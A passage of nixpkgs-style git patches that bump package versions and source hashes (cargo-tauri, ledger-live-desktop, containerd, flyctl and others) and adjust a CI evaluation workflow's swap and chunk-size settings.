-    "sha256": "745689c84d63ae94dfa0b3d4bdde3c6907b72472018532f757d9c0d169705964",
-    "version": "18.26.2"
+    "sha256": "0df8be2f57779019895628363a11f74ea356068cca983462ec0feb72528fc8e9",
+    "version": "18.26.3"
   },
   "asterisk_20": {
-    "sha256": "7c45cf254c7442748fa14ba4e31ae8f09cd2ad958168577de091c0bf0b0a2d2e",
-    "version": "20.15.0"
+    "sha256": "fa286ac7a024e685233af6fde54a68a21c8e9934b438da878fb3cff080a6346c",
+    "version": "20.15.1"
   },
   "asterisk_21": {
-    "sha256": "16051efbcc6fb95c0408f0ecc9dcf2d78a9346323f5d1fcd9723faedcb0f3fd8",
-    "version": "21.10.0"
+    "sha256": "811c5b8c501004ee378e77efd009892b366a03a508cfc51eead52396cbf65b2c",
+    "version": "21.10.1"
   },
   "asterisk_22": {
-    "sha256": "944967288ec01587feeef42869a97baa37ab635bea7d539df16f70d3af48c613",
-    "version": "22.5.0"
+    "sha256": "cbe67229f813ccf5e545fbda1fc05eb221897bf03393917390f8f6235cc62179",
+    "version": "22.5.1"
   }
 }

From f62dea3802329c2bc98834107286521dd33cd396 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 24 Jul 2025 19:15:45 +0000
Subject: [PATCH 3242/4511] scotty: 0.7.0 -> 0.7.1

(cherry picked from commit 229dc3ac12df427a9dbacbb4d61ce05eebfbee19)
---
 pkgs/by-name/sc/scotty/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sc/scotty/package.nix b/pkgs/by-name/sc/scotty/package.nix
index 888772891a33..dced2150fd0e 100644
--- a/pkgs/by-name/sc/scotty/package.nix
+++ b/pkgs/by-name/sc/scotty/package.nix
@@ -9,13 +9,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "scotty";
-  version = "0.7.0";
+  version = "0.7.1";
 
   src = fetchFromSourcehut {
     owner = "~phw";
     repo = "scotty";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-NvFvayz8B69Vtl+Ghl9UBXqJqvka8p6hi2ClcQ7Xeys=";
+    hash = "sha256-Sf1JuIWCscHPn7bA7spQ1zTKt+1kEehR+rEZ1+MTnoE=";
   };
 
   # Otherwise checks fail with `panic: open /etc/protocols: operation not permitted` when sandboxing is enabled on Darwin
@@ -25,7 +25,7 @@ buildGoModule (finalAttrs: {
       --replace-fail '!os.IsNotExist(err)' '!os.IsNotExist(err) && !os.IsPermission(err)'
   '';
 
-  vendorHash = "sha256-+Hypr514lp0MuZVH9R9LUP93TYq2VNGuZ+6OWytohc8=";
+  vendorHash = "sha256-AfCSp/f8jAy1a6PyYHMErmOOgADXTfliJPQgyNLhVFo=";
 
   env = {
     # *Some* locale is required to be set

From 2b6e4da18729b2331fde37e6e14d01c5dead2faf Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sun, 20 Jul 2025 20:03:59 -0600
Subject: [PATCH 3243/4511] cargo-tauri: 2.6.2 -> 2.7.0

https://github.com/tauri-apps/tauri/releases/tag/tauri-cli-v2.7.0
Diff: https://github.com/tauri-apps/tauri/compare/tauri-cli-v2.6.2...tauri-cli-v2.7.0
(cherry picked from commit 228dcb14bb8d568e4bb72e387985041c30bba78e)
---
 pkgs/by-name/ca/cargo-tauri/package.nix  | 6 +++---
 pkgs/by-name/ca/cargo-tauri/test-app.nix | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ca/cargo-tauri/package.nix b/pkgs/by-name/ca/cargo-tauri/package.nix
index 5f1f91640822..23998fa836d2 100644
--- a/pkgs/by-name/ca/cargo-tauri/package.nix
+++ b/pkgs/by-name/ca/cargo-tauri/package.nix
@@ -13,17 +13,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "tauri";
-  version = "2.6.2";
+  version = "2.7.0";
 
   src = fetchFromGitHub {
     owner = "tauri-apps";
     repo = "tauri";
     tag = "tauri-cli-v${version}";
-    hash = "sha256-QdboIHbRKC/0k6FGKDuCA7AR3eIa7KVij3fGekD9kNk=";
+    hash = "sha256-nEt4xoVHozqxWnyrXTn7XDgH2HYCzrfqBgt71+goYms=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-GFqUQLLURfm6sRpf4MwAp89aKpTwWIlxk3NNRf9QgC0=";
+  cargoHash = "sha256-av5UF0MgKnTwEX4dHhekvj2tz/BOZyUbs1YqLwx28Cw=";
 
   nativeBuildInputs = [ pkg-config ];
 
diff --git a/pkgs/by-name/ca/cargo-tauri/test-app.nix b/pkgs/by-name/ca/cargo-tauri/test-app.nix
index f01a1daaffcf..bfc6cac5eaae 100644
--- a/pkgs/by-name/ca/cargo-tauri/test-app.nix
+++ b/pkgs/by-name/ca/cargo-tauri/test-app.nix
@@ -35,7 +35,7 @@ stdenv.mkDerivation (finalAttrs: {
       ;
 
     fetcherVersion = 1;
-    hash = "sha256-plANa/+9YEQ4ipgdQ7QzPyxgz6eDCBhO7qFlxK6Ab58=";
+    hash = "sha256-I++iYwqSxACmXFvfPYAnY/0WSWSY6ElJYnylJDC03D8=";
   };
 
   nativeBuildInputs = [

From c82640597ddc7157f217caea1c077299c795d6b6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 25 Jul 2025 19:11:24 +0000
Subject: [PATCH 3244/4511] cargo-tauri: 2.7.0 -> 2.7.1

(cherry picked from commit e2cb4428655f20512e0b521b2eb6095343452db9)
---
 pkgs/by-name/ca/cargo-tauri/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ca/cargo-tauri/package.nix b/pkgs/by-name/ca/cargo-tauri/package.nix
index 23998fa836d2..929154a63e5e 100644
--- a/pkgs/by-name/ca/cargo-tauri/package.nix
+++ b/pkgs/by-name/ca/cargo-tauri/package.nix
@@ -13,17 +13,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "tauri";
-  version = "2.7.0";
+  version = "2.7.1";
 
   src = fetchFromGitHub {
     owner = "tauri-apps";
     repo = "tauri";
     tag = "tauri-cli-v${version}";
-    hash = "sha256-nEt4xoVHozqxWnyrXTn7XDgH2HYCzrfqBgt71+goYms=";
+    hash = "sha256-0J55AvAvvqTVls4474GcgLPBtSC+rh8cXVKluMjAVBE=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-av5UF0MgKnTwEX4dHhekvj2tz/BOZyUbs1YqLwx28Cw=";
+  cargoHash = "sha256-nkY1ydc2VewRwY+B5nR68mz8Ff3FK1KoHE4dLzNtPkY=";
 
   nativeBuildInputs = [ pkg-config ];
 

From 08181f98f1de13622a4c3de2648db74955d8a0ae Mon Sep 17 00:00:00 2001
From: "user.email" <getchoo@tuta.io>
Date: Wed, 6 Aug 2025 06:50:59 -0400
Subject: [PATCH 3245/4511] cargo-tauri: unbreak test app

(cherry picked from commit ffb03c81d204c090768024f76424d7bb05113577)
---
 pkgs/by-name/ca/cargo-tauri/test-app.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ca/cargo-tauri/test-app.nix b/pkgs/by-name/ca/cargo-tauri/test-app.nix
index bfc6cac5eaae..fd5f5f359972 100644
--- a/pkgs/by-name/ca/cargo-tauri/test-app.nix
+++ b/pkgs/by-name/ca/cargo-tauri/test-app.nix
@@ -16,6 +16,7 @@
 let
   pnpm = pnpm_9;
 in
+
 stdenv.mkDerivation (finalAttrs: {
   pname = "test-app";
   inherit (cargo-tauri) version src;
@@ -35,7 +36,7 @@ stdenv.mkDerivation (finalAttrs: {
       ;
 
     fetcherVersion = 1;
-    hash = "sha256-I++iYwqSxACmXFvfPYAnY/0WSWSY6ElJYnylJDC03D8=";
+    hash = "sha256-7F2vk6WUeXunTuXX9J0rVhl2I0ENYagRdqTy+WAXBB8=";
   };
 
   nativeBuildInputs = [

From 817311fbfa07c3e08c7294a2c22d5b21c88a2230 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 19 May 2025 03:07:34 +0000
Subject: [PATCH 3246/4511] ledger-live-desktop: 2.111.0 -> 2.113.0

(cherry picked from commit 89d9c7fd2e9d63bd432692906948729790fe0247)
---
 pkgs/by-name/le/ledger-live-desktop/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/le/ledger-live-desktop/package.nix b/pkgs/by-name/le/ledger-live-desktop/package.nix
index d142d6741b21..b6b3ddeea892 100644
--- a/pkgs/by-name/le/ledger-live-desktop/package.nix
+++ b/pkgs/by-name/le/ledger-live-desktop/package.nix
@@ -8,11 +8,11 @@
 
 let
   pname = "ledger-live-desktop";
-  version = "2.111.0";
+  version = "2.113.0";
 
   src = fetchurl {
     url = "https://download.live.ledger.com/${pname}-${version}-linux-x86_64.AppImage";
-    hash = "sha256-doREuoX6Lpm9V0yPvf/Ne13v4xvSZ16WzqIVAdVBeMw=";
+    hash = "sha256-mF6YwgbqZF5ccJCABoagtEq5WpnhDNFcvij1wL+buF0=";
   };
 
   appimageContents = appimageTools.extractType2 {

From 8f1ce6b610bc970de48339930ce2c1f64168af76 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 29 May 2025 11:19:48 +0000
Subject: [PATCH 3247/4511] ledger-live-desktop: 2.113.0 -> 2.113.2

(cherry picked from commit 5ce08591dee922672081d0279bbc3a47d92758b6)
---
 pkgs/by-name/le/ledger-live-desktop/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/le/ledger-live-desktop/package.nix b/pkgs/by-name/le/ledger-live-desktop/package.nix
index b6b3ddeea892..ab9cc2ed715b 100644
--- a/pkgs/by-name/le/ledger-live-desktop/package.nix
+++ b/pkgs/by-name/le/ledger-live-desktop/package.nix
@@ -8,11 +8,11 @@
 
 let
   pname = "ledger-live-desktop";
-  version = "2.113.0";
+  version = "2.113.2";
 
   src = fetchurl {
     url = "https://download.live.ledger.com/${pname}-${version}-linux-x86_64.AppImage";
-    hash = "sha256-mF6YwgbqZF5ccJCABoagtEq5WpnhDNFcvij1wL+buF0=";
+    hash = "sha256-jJvIncD1vGZ2t0Rpl42AoVGKPlLGhMsoU91//rxOWnw=";
   };
 
   appimageContents = appimageTools.extractType2 {

From 439ad6979728cf56c5d5eab442537fffde808b09 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 9 Jun 2025 03:24:08 +0000
Subject: [PATCH 3248/4511] ledger-live-desktop: 2.113.2 -> 2.115.1

(cherry picked from commit ded369c957f4bea43a8cdd4873d7e0e4a93b7541)
---
 pkgs/by-name/le/ledger-live-desktop/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/le/ledger-live-desktop/package.nix b/pkgs/by-name/le/ledger-live-desktop/package.nix
index ab9cc2ed715b..db46ef540a8a 100644
--- a/pkgs/by-name/le/ledger-live-desktop/package.nix
+++ b/pkgs/by-name/le/ledger-live-desktop/package.nix
@@ -8,11 +8,11 @@
 
 let
   pname = "ledger-live-desktop";
-  version = "2.113.2";
+  version = "2.115.1";
 
   src = fetchurl {
     url = "https://download.live.ledger.com/${pname}-${version}-linux-x86_64.AppImage";
-    hash = "sha256-jJvIncD1vGZ2t0Rpl42AoVGKPlLGhMsoU91//rxOWnw=";
+    hash = "sha256-JLX1EbtrvkQPLGXlvn2pv1p1nT2mJ/yng4VumxV2z6E=";
   };
 
   appimageContents = appimageTools.extractType2 {

From b73a5706892acd1bce93fb6fded726a0d737699b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 19 Jun 2025 04:03:34 +0000
Subject: [PATCH 3249/4511] ledger-live-desktop: 2.115.1 -> 2.117.0

(cherry picked from commit 070af34b83a802f9ec9ba7064dd381260b9f78fe)
---
 pkgs/by-name/le/ledger-live-desktop/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/le/ledger-live-desktop/package.nix b/pkgs/by-name/le/ledger-live-desktop/package.nix
index db46ef540a8a..6a976383dff5 100644
--- a/pkgs/by-name/le/ledger-live-desktop/package.nix
+++ b/pkgs/by-name/le/ledger-live-desktop/package.nix
@@ -8,11 +8,11 @@
 
 let
   pname = "ledger-live-desktop";
-  version = "2.115.1";
+  version = "2.117.0";
 
   src = fetchurl {
     url = "https://download.live.ledger.com/${pname}-${version}-linux-x86_64.AppImage";
-    hash = "sha256-JLX1EbtrvkQPLGXlvn2pv1p1nT2mJ/yng4VumxV2z6E=";
+    hash = "sha256-YcnTJFbkbPTr9ZfiOEnN1oHjTMl9S2XsJyMxozPXxa8=";
   };
 
   appimageContents = appimageTools.extractType2 {

From d9c28e5b58e710f152794e1c9698890ebf80e2a7 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 28 Jun 2025 00:08:00 +0000
Subject: [PATCH 3250/4511] ledger-live-desktop: 2.117.0 -> 2.118.1

(cherry picked from commit cc9cfb3f1d6dda969536c167916fd5b7521f9ac3)
---
 pkgs/by-name/le/ledger-live-desktop/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/le/ledger-live-desktop/package.nix b/pkgs/by-name/le/ledger-live-desktop/package.nix
index 6a976383dff5..d62fdcda95da 100644
--- a/pkgs/by-name/le/ledger-live-desktop/package.nix
+++ b/pkgs/by-name/le/ledger-live-desktop/package.nix
@@ -8,11 +8,11 @@
 
 let
   pname = "ledger-live-desktop";
-  version = "2.117.0";
+  version = "2.118.1";
 
   src = fetchurl {
     url = "https://download.live.ledger.com/${pname}-${version}-linux-x86_64.AppImage";
-    hash = "sha256-YcnTJFbkbPTr9ZfiOEnN1oHjTMl9S2XsJyMxozPXxa8=";
+    hash = "sha256-FG1vlcLUjQpXfoEczvTOyqLFuCYU/72KeAdsg/SMjLQ=";
   };
 
   appimageContents = appimageTools.extractType2 {

From ec15f99cd4d4cc3033fe6e5f129cc297290c824a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 16 Jul 2025 20:22:54 +0000
Subject: [PATCH 3251/4511] ledger-live-desktop: 2.118.1 -> 2.120.1

(cherry picked from commit 18ccbfa9214d24cfd02b7c8488e07dc25cad27e7)
---
 pkgs/by-name/le/ledger-live-desktop/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/le/ledger-live-desktop/package.nix b/pkgs/by-name/le/ledger-live-desktop/package.nix
index d62fdcda95da..c94bb46d7d32 100644
--- a/pkgs/by-name/le/ledger-live-desktop/package.nix
+++ b/pkgs/by-name/le/ledger-live-desktop/package.nix
@@ -8,11 +8,11 @@
 
 let
   pname = "ledger-live-desktop";
-  version = "2.118.1";
+  version = "2.120.1";
 
   src = fetchurl {
     url = "https://download.live.ledger.com/${pname}-${version}-linux-x86_64.AppImage";
-    hash = "sha256-FG1vlcLUjQpXfoEczvTOyqLFuCYU/72KeAdsg/SMjLQ=";
+    hash = "sha256-zr+m0ytG5wcdI6IvCklpcQVmiaTUaQb5a90lRl1+YxQ=";
   };
 
   appimageContents = appimageTools.extractType2 {

From 06b12192038b0b66e6d7db091b332605ead33b79 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 25 Jul 2025 05:21:43 +0000
Subject: [PATCH 3252/4511] ledger-live-desktop: 2.120.1 -> 2.122.1

(cherry picked from commit 092042a5e704fd72b745769040d8eba1005ca83c)
---
 pkgs/by-name/le/ledger-live-desktop/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/le/ledger-live-desktop/package.nix b/pkgs/by-name/le/ledger-live-desktop/package.nix
index c94bb46d7d32..aa5966806df9 100644
--- a/pkgs/by-name/le/ledger-live-desktop/package.nix
+++ b/pkgs/by-name/le/ledger-live-desktop/package.nix
@@ -8,11 +8,11 @@
 
 let
   pname = "ledger-live-desktop";
-  version = "2.120.1";
+  version = "2.122.1";
 
   src = fetchurl {
     url = "https://download.live.ledger.com/${pname}-${version}-linux-x86_64.AppImage";
-    hash = "sha256-zr+m0ytG5wcdI6IvCklpcQVmiaTUaQb5a90lRl1+YxQ=";
+    hash = "sha256-Cy74WFxNX5cJhkx3FmiIgCLoWFos2BXntl6mEeK6MQ8=";
   };
 
   appimageContents = appimageTools.extractType2 {

From 9590f588dee8205edcc40067f96b074ffe0b7cc5 Mon Sep 17 00:00:00 2001
From: Michael Evans <michaelgrahamevans@gmail.com>
Date: Sat, 26 Jul 2025 14:57:38 +0200
Subject: [PATCH 3253/4511] deja-dup: 48.2 -> 48.3

(cherry picked from commit 4ebd1ea7b46a3e9fb32dc44ccfaaaddebe3d832b)
---
 pkgs/by-name/de/deja-dup/package.nix | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/de/deja-dup/package.nix b/pkgs/by-name/de/deja-dup/package.nix
index 80b7a04c6fc9..3a57f319e647 100644
--- a/pkgs/by-name/de/deja-dup/package.nix
+++ b/pkgs/by-name/de/deja-dup/package.nix
@@ -28,14 +28,14 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "deja-dup";
-  version = "48.2";
+  version = "48.3";
 
   src = fetchFromGitLab {
     domain = "gitlab.gnome.org";
     owner = "World";
     repo = "deja-dup";
     rev = finalAttrs.version;
-    hash = "sha256-g6bGOlpiEMJ9d+xe2GJyTBWAuGlY9EZTlJaYhB/5Ldw=";
+    hash = "sha256-3tjJljCdugfjfysd0afUYY7Gc1UcaP4w4jgxVDr5tBM=";
   };
 
   patches = [
@@ -92,6 +92,7 @@ stdenv.mkDerivation (finalAttrs: {
       and uses duplicity as the backend.
     '';
     homepage = "https://apps.gnome.org/DejaDup/";
+    changelog = "https://gitlab.gnome.org/World/deja-dup/-/releases/${finalAttrs.version}";
     license = licenses.gpl3Plus;
     maintainers = with maintainers; [ jtojnar ];
     teams = [ teams.gnome-circle ];

From 655b0aaa8759ed1ab56b0dc6e7b0797126e4f7c4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 1 Aug 2025 11:50:35 +0000
Subject: [PATCH 3254/4511] containerd: 2.1.3 -> 2.1.4

(cherry picked from commit e91a1270c2a3ab76243a4016f54e88b96c8a697c)
---
 pkgs/by-name/co/containerd/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/co/containerd/package.nix b/pkgs/by-name/co/containerd/package.nix
index cac2dfd530a7..f6d10b64b689 100644
--- a/pkgs/by-name/co/containerd/package.nix
+++ b/pkgs/by-name/co/containerd/package.nix
@@ -16,7 +16,7 @@
 
 buildGoModule rec {
   pname = "containerd";
-  version = "2.1.3";
+  version = "2.1.4";
 
   outputs = [
     "out"
@@ -28,7 +28,7 @@ buildGoModule rec {
     owner = "containerd";
     repo = "containerd";
     tag = "v${version}";
-    hash = "sha256-MqHcwomsVYbjziO0vIpGAcREChe5mbJVGsvM96bszLA=";
+    hash = "sha256-eC9mfB/FWDxOGucNizHBiRkhkEFDdSxu9vRnXZp5Tug=";
   };
 
   postPatch = "patchShebangs .";

From 3b095008a5490125b140a6bdfd2a29185766054b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 2 Aug 2025 23:08:33 +0000
Subject: [PATCH 3255/4511] garnet: 1.0.78 -> 1.0.79

(cherry picked from commit 7068fb8b30af78b774e7adbed28e69591afe7ec6)
---
 pkgs/by-name/ga/garnet/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ga/garnet/package.nix b/pkgs/by-name/ga/garnet/package.nix
index b9e34afaeed6..211eff07fb64 100644
--- a/pkgs/by-name/ga/garnet/package.nix
+++ b/pkgs/by-name/ga/garnet/package.nix
@@ -8,13 +8,13 @@
 
 buildDotnetModule rec {
   pname = "garnet";
-  version = "1.0.78";
+  version = "1.0.79";
 
   src = fetchFromGitHub {
     owner = "microsoft";
     repo = "garnet";
     tag = "v${version}";
-    hash = "sha256-V/h0X4CZ9FOcUetyyvo9umYS+VqJbYehg3QS/yp4OBM=";
+    hash = "sha256-EXI/6yctbAX2tcUYsb9sHXed5pik/uttXoY0gCnH9H8=";
   };
 
   projectFile = "main/GarnetServer/GarnetServer.csproj";

From 558bcd4fbd57df021010ef628a323dfbef733502 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Sun, 3 Aug 2025 11:08:45 +0200
Subject: [PATCH 3256/4511] komikku: 1.83.0 -> 1.84.0

(cherry picked from commit 78545d5ec031c6d294d5d7960009220943df9d08)
---
 pkgs/by-name/ko/komikku/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ko/komikku/package.nix b/pkgs/by-name/ko/komikku/package.nix
index 83603a29bb42..3a86a338e38b 100644
--- a/pkgs/by-name/ko/komikku/package.nix
+++ b/pkgs/by-name/ko/komikku/package.nix
@@ -23,7 +23,7 @@
 
 python3.pkgs.buildPythonApplication rec {
   pname = "komikku";
-  version = "1.83.0";
+  version = "1.84.0";
   pyproject = false;
 
   src = fetchFromGitea {
@@ -31,7 +31,7 @@ python3.pkgs.buildPythonApplication rec {
     owner = "valos";
     repo = "Komikku";
     tag = "v${version}";
-    hash = "sha256-cwNSjzCy4lv71O3XAcDXVF+75MhQ6gMrMz/IuePCdak=";
+    hash = "sha256-bzz49ILpqzOStBdRGMhBKkxI4RlVuDjCqhcIjQGGQmk=";
   };
 
   nativeBuildInputs = [

From 182d20ac6454bef501bd986c4affaddfabf1294e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 3 Aug 2025 23:09:15 +0000
Subject: [PATCH 3257/4511] lock: 1.6.6 -> 1.6.7

(cherry picked from commit 1b2242f4c36421c78a440dc8dde223506e6d15fc)
---
 pkgs/by-name/lo/lock/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/lo/lock/package.nix b/pkgs/by-name/lo/lock/package.nix
index 31a853a85ce8..26985e209485 100644
--- a/pkgs/by-name/lo/lock/package.nix
+++ b/pkgs/by-name/lo/lock/package.nix
@@ -19,13 +19,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "lock";
-  version = "1.6.6";
+  version = "1.6.7";
 
   src = fetchFromGitHub {
     owner = "konstantintutsch";
     repo = "Lock";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-JAtQxmcLFNj6epk3ipVaa/u7fQ4E2maHZN+7jk+ktmE=";
+    hash = "sha256-5wbt+zZANWNbKJtcptovkPsGMUjGHmiX2vniLRqrQNc=";
   };
 
   strictDeps = true;

From 0eef8df7d6024a1739b91548d35d7c6ea5714793 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 25 May 2025 17:13:55 +0000
Subject: [PATCH 3258/4511] vscode-extensions.elixir-lsp.vscode-elixir-ls:
 0.27.2 -> 0.28.0

(cherry picked from commit bed077134ea733218a1fa2322fb3cf0b49f1e56f)
---
 pkgs/applications/editors/vscode/extensions/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/editors/vscode/extensions/default.nix b/pkgs/applications/editors/vscode/extensions/default.nix
index 0a37c04f8ef3..c3475a9a4eb0 100644
--- a/pkgs/applications/editors/vscode/extensions/default.nix
+++ b/pkgs/applications/editors/vscode/extensions/default.nix
@@ -1700,8 +1700,8 @@ let
         mktplcRef = {
           name = "elixir-ls";
           publisher = "JakeBecker";
-          version = "0.27.2";
-          hash = "sha256-PXQiZOAAApsYLB3hztQcjAsnmkfDSDtYvUmMhFUfLxA=";
+          version = "0.28.0";
+          hash = "sha256-pHLAA7i2HJC523lPotUy5Zwa3BTSTurC2BA+eevdH38=";
         };
         meta = {
           changelog = "https://marketplace.visualstudio.com/items/JakeBecker.elixir-ls/changelog";

From 1042f441a0bcae7495fcc22edc054dde018bc3ac Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 3 Aug 2025 05:30:12 +0000
Subject: [PATCH 3259/4511] github-runner: 2.326.0 -> 2.327.1

(cherry picked from commit 015a6edcc045a7667af33f24d4b94ed8e8e422fe)
---
 pkgs/by-name/gi/github-runner/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/gi/github-runner/package.nix b/pkgs/by-name/gi/github-runner/package.nix
index fdafacc3fcad..54ecdd10871a 100644
--- a/pkgs/by-name/gi/github-runner/package.nix
+++ b/pkgs/by-name/gi/github-runner/package.nix
@@ -25,13 +25,13 @@ assert builtins.all (x: builtins.elem x [ "node20" ]) nodeRuntimes;
 
 buildDotnetModule (finalAttrs: {
   pname = "github-runner";
-  version = "2.326.0";
+  version = "2.327.1";
 
   src = fetchFromGitHub {
     owner = "actions";
     repo = "runner";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-bKOxTV6iAvC+QOsfSs1hTS9k/Ou+YGEwTr5hew23cLY=";
+    hash = "sha256-wTbhuBg9eIq1wGifeORTUvp9+yWDHb42J88o2Fmnrfo=";
     leaveDotGit = true;
     postFetch = ''
       git -C $out rev-parse --short HEAD > $out/.git-revision

From 72a693003fa362b4cb69b02c80c538562d229313 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 2 Aug 2025 22:08:22 +0000
Subject: [PATCH 3260/4511] flyctl: 0.3.161 -> 0.3.164

(cherry picked from commit c7e09fa10fe6a08484e1b3508bcb9d8cf11787b6)
---
 pkgs/by-name/fl/flyctl/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fl/flyctl/package.nix b/pkgs/by-name/fl/flyctl/package.nix
index f9d6b7192b1f..f6d2950af349 100644
--- a/pkgs/by-name/fl/flyctl/package.nix
+++ b/pkgs/by-name/fl/flyctl/package.nix
@@ -9,16 +9,16 @@
 
 buildGoModule rec {
   pname = "flyctl";
-  version = "0.3.161";
+  version = "0.3.164";
 
   src = fetchFromGitHub {
     owner = "superfly";
     repo = "flyctl";
     rev = "v${version}";
-    hash = "sha256-ctE8X3vyNqbdYQuDrmCLmwy/EMGpJFRnlcjxnRji1Zo=";
+    hash = "sha256-pAWdyKBiDr1opIO9P0+4Fm2wwZXaL5Nt0YJiuB+mWHo=";
   };
 
-  vendorHash = "sha256-OwxzdLXNPiQRq6mgvZaOs8tnNZQm0mYyzyPFUYcokb0=";
+  vendorHash = "sha256-l4EAOQeDLU+J7suKLzg+UAxrKGxoCpoPvQtj62u5VHE=";
 
   subPackages = [ "." ];
 

From fe803fed242c97d1e6763f38d59bb76199404590 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 6 Aug 2025 14:40:30 +0200
Subject: [PATCH 3261/4511] workflows/eval: disable swap

Recent performance tests show that (a) swapping heavily slows down the
Eval job, while (b) lowering the chunkSize does not have an effect on
run-time. It does on memory usage, though - thus we can get rid of
swapping entirely by reducing chunkSize respectively.

(cherry picked from commit f2648b263b69aecca529c14fd5441503850a7c0d)
---
 .github/workflows/eval.yml | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 5999aedcb938..805f8572cf15 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -32,12 +32,11 @@ jobs:
     outputs:
       targetRunId: ${{ steps.targetRunId.outputs.targetRunId }}
     steps:
-      - name: Enable swap
+      # We'd rather fail than run slow eval on swap.
+      # Failing allows us to adjust the chunkSize to remain fast.
+      - name: Disable swap
         run: |
-          sudo fallocate -l 10G /swap
-          sudo chmod 600 /swap
-          sudo mkswap /swap
-          sudo swapon /swap
+          sudo swapoff -a
 
       - name: Check out the PR at the test merge commit
         uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
@@ -56,7 +55,7 @@ jobs:
         run: |
           nix-build untrusted/ci -A eval.singleSystem \
             --argstr evalSystem "$MATRIX_SYSTEM" \
-            --arg chunkSize 10000 \
+            --arg chunkSize 8000 \
             --out-link merged
           # If it uses too much memory, slightly decrease chunkSize
 

From 721e6c731f9a4d85c4b7d3f23057d0be57c65056 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 6 Aug 2025 14:31:19 +0200
Subject: [PATCH 3262/4511] ci/eval/compare: don't treat renames as rebuilds

When a package's attrpath is renamed it is currently treated as a
rebuild, even though the outpath already exists and is already cached.

This also happens when adding new names for packagesets that already
exist, for example when starting to eval `perlPackages` in CI, which is
just the same as `perl540Packages` currently. It would also happen when
`perlPackages` is switched from `perl540Packages` to `perl999Packages`.
Assuming that `perl999Packages` had already been built before, this
doesn't really cause any rebuilds.

(cherry picked from commit c5c7cd5bc729c86545bcbd1de498c2b4e6a1ca17)
---
 ci/eval/compare/default.nix |  7 +++----
 ci/eval/default.nix         |  3 ++-
 ci/eval/diff.nix            | 19 ++++++++++++++++++-
 3 files changed, 23 insertions(+), 6 deletions(-)

